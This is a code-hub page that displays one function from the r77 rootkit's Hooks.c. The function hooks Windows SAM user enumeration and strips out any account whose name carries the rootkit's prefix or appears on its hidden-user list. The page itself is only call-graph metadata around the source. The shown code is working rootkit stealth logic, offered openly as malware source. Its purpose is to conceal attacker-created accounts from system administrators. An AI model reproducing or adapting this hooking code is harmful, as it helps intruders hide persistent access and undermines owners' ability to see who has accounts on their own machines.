MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / HookedSamEnumerateUsersInDomain

Function HookedSamEnumerateUsersInDomain

r77/Hooks.c:796–817  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

794 return status;
795}
796static NTSTATUS NTAPI HookedSamEnumerateUsersInDomain(HANDLE domainHandle, PULONG enumerationContext, ULONG userAccountControl, LPVOID *buffer, ULONG preferedMaximumLength, PULONG countReturned)
797{
798 NTSTATUS status = OriginalSamEnumerateUsersInDomain(domainHandle, enumerationContext, userAccountControl, buffer, preferedMaximumLength, countReturned);
799
800 if (NT_SUCCESS(status) && buffer && *buffer && countReturned)
801 {
802 PNT_SAM_RID_ENUMERATION rids = (PNT_SAM_RID_ENUMERATION)*buffer;
803 for (ULONG i = 0; i < *countReturned; i++)
804 {
805 rids[i].Name.Buffer[rids[i].Name.Length / sizeof(WCHAR)] = L'\0';
806
807 if (HasPrefix(rids[i].Name.Buffer) || IsUserNameHidden(rids[i].Name.Buffer))
808 {
809 memmove(&rids[i], &rids[i + 1], (*countReturned - i - 1) * sizeof(NT_SAM_RID_ENUMERATION));
810 (*countReturned)--;
811 i--;
812 }
813 }
814 }
815
816 return status;
817}
818static NTSTATUS NTAPI HookedSamQueryDisplayInformation(HANDLE domainHandle, NT_DOMAIN_DISPLAY_INFORMATION displayInformation, ULONG index, ULONG entryCount, ULONG preferredMaximumLength, PULONG totalAvailable, PULONG totalReturned, PULONG returnedEntryCount, LPVOID *sortedBuffer)
819{
820 NTSTATUS status = OriginalSamQueryDisplayInformation(domainHandle, displayInformation, index, entryCount, preferredMaximumLength, totalAvailable, totalReturned, returnedEntryCount, sortedBuffer);

Callers

nothing calls this directly

Calls 2

HasPrefixFunction · 0.85
IsUserNameHiddenFunction · 0.85

Tested by

no test coverage detected